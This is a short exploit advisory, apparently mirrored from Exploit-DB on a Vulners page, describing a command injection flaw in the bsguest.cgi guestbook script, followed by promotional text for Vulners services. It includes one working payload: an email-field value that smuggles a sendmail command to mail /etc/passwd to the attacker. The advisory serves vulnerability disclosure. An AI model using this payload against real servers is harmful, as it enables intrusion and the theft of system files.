Lucene search
K

Brian Stanback bsguest.cgi 1.0 - Remote Command Execution

🗓️ 20 Dec 2000 00:00:00Reported by rivendell_teamType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Input validation flaw in Brian Stanback's bsguest.cgi allows remote command execution via email input.

Code
source: https://www.securityfocus.com/bid/2159/info

An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

The script fails to properly filter ';' characters from the user-supplied email address collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.


Attacker enters his email address as <[email protected]>

'[email protected];/usr/sbin/sendmail [email protected] < /etc/passwd',

server mails a confirmation letter along with the passwd file to the attacker.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation